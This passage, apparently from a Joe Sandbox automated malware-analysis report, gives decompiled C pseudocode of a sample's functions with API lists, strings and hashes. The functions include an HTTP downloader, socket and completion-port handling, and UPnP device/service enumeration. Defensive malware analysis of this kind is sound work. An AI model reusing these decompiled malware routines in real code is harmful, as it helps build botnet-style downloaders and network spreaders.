PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EC84), ref: 0040E1BB
CloseHandle.KERNEL32(?), ref: 0040E1E4
CloseHandle.KERNEL32(?), ref: 0040E1EA
WSACloseEvent.WS2_32(?), ref: 0040E1F0
DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EC84), ref: 0040E206

Strings

PCOI, xrefs: 0040E0E8
ilci, xrefs: 0040E10B

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 91e1793f966389e5c05c026e5a2b2959d1c39894ae16f0b550b690b40fcb3971
Instruction ID: 4e090b2b2d95b5b5db58c8e8021d4e4c0217c2d5e17fa086addfc70fe82b675d
Opcode Fuzzy Hash: 91e1793f966389e5c05c026e5a2b2959d1c39894ae16f0b550b690b40fcb3971
Instruction Fuzzy Hash: 6E319871500705BBD7109F71EC48F97B7A8BF09300F048A2EE959A7691C778F9A4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040C260(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408B60(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040C288
InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
memcpy.NTDLL(00000000,?,00000000), ref: 0040C41A
InternetCloseHandle.WININET(00000000), ref: 0040C457
InternetCloseHandle.WININET(00000000), ref: 0040C464
InternetCloseHandle.WININET(00000000), ref: 0040C471

Strings

<, xrefs: 0040C290
GET, xrefs: 0040C34B

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction ID: fb11e20dfced737966d96b67562c2227f08ee783dca279ae1717ab20ae365a52
Opcode Fuzzy Hash: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction Fuzzy Hash: 44513EB1941228ABDB36CB50CC95BE973BCBB44705F0081E9A60DAA2C0D7B96FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC90 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BC90(LONG* _a4, intOrPtr _a8) {
				int _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				SetThreadPriority(GetCurrentThread(), _v8);
				return _v12;
			}

APIs

GetCurrentThread.KERNEL32(?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC96
GetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC9D
GetCurrentThread.KERNEL32(000000FE,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCA8
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCAF
InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BCD2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040BD07
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BD52
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BD6E
Sleep.KERNEL32(00000001), ref: 0040BD9E
GetCurrentThread.KERNEL32(0040EC84,?,0040E1CE,?,000000FF), ref: 0040BDAD
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF), ref: 0040BDB4

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction ID: 7471dcba010468c66186aef50ce52d9a71631389d56eaee9496ec156eb60796e
Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction Fuzzy Hash: E7414E74D00209EFDB14CFA4D848BAEBB75FF44305F20C16AE906A7380D7789A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E840 Relevance: 13.6, APIs: 9, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040E840(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BE60());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E220(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E5C0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E220(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E7D0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040E866
InterlockedDecrement.KERNEL32(?), ref: 0040E890
InterlockedDecrement.KERNEL32(?), ref: 0040E8A3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E8B4
InterlockedDecrement.KERNEL32(?), ref: 0040E93B
InterlockedDecrement.KERNEL32(?), ref: 0040E9D6
setsockopt.WS2_32 ref: 0040EA0C
closesocket.WS2_32(?), ref: 0040EA19

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction ID: b9f556da3bb5aac27c1329fbefbdde51c01563ae05ed193aa0a017dd72204b88
Opcode Fuzzy Hash: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction Fuzzy Hash: D951BD75608701ABC704DF29D888B97FBE4BF88314F008A2EE49D93361D775A558CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C8E0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C200(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

device, xrefs: 0040C993
deviceType, xrefs: 0040C9A6

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction ID: 91ab58cec92addcf45ea7f885c8d98816f20cb839f54337aae792cd6c89d1592
Opcode Fuzzy Hash: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction Fuzzy Hash: D941E975A0020ADFCB04DF98D894BAFB7B5BF48304F108269E515A7390D778AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C700(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C200(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction ID: 7b8bcaea6bed01b8a99884d554dfbf2528ef8f0724b329980c1be25b89f5103a
Opcode Fuzzy Hash: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction Fuzzy Hash: 3641FF75A0020ADFCB04EF98C884BAFB7B5BF48305F108269E515A7390D7789E85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90 Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040DF90(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E00408B00(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E00409600(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408C70(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BE60();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DEB0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E49B,00000000), ref: 0040DFAA
LeaveCriticalSection.KERNEL32(?,?,?,0040E49B,00000000), ref: 0040DFCE

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: acf582c9f46a2137a39eec74a6870d9bb4a9c089b8521e7e280b1c815e7e1608
Instruction ID: 788f702b9492d2748fa33cb2f0bef3e81c848d8eff2aac60f157a8f848454262
Opcode Fuzzy Hash: acf582c9f46a2137a39eec74a6870d9bb4a9c089b8521e7e280b1c815e7e1608
Instruction Fuzzy Hash: EC31D472601615ABC710AFB5EC88BD7B7E8FF44724F00893EF54AD3281DB39A4448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C741 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C741() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction ID: a2ae9d540b18a7237781164838fed95b9af08367ec0547399f69e9a392117d82
Opcode Fuzzy Hash: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction Fuzzy Hash: 5631CA75E0020ADFCB04DF98D884BAFB7B5AF88305F108669E515A7390D7789A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C921 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C921() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
